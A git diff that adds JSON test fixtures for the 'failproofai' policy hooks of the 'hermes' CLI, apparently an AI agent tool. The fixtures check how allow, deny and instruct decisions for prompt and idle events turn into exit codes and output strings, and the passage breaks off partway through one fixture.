file mode 100644 index 00000000..7938c360 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..19acee6e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..190f4955 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..019883ba --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..be2e8982 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..22fef900 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b8893589 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..bda5f92c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8dc899ee --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..29263d45 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..46759473 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..cba5e2de --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..eccf6ed2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e7e8fa8f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..bd9150ae --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e3471cbe --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..faa93896 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c03c3435 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..80c9ff19 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": 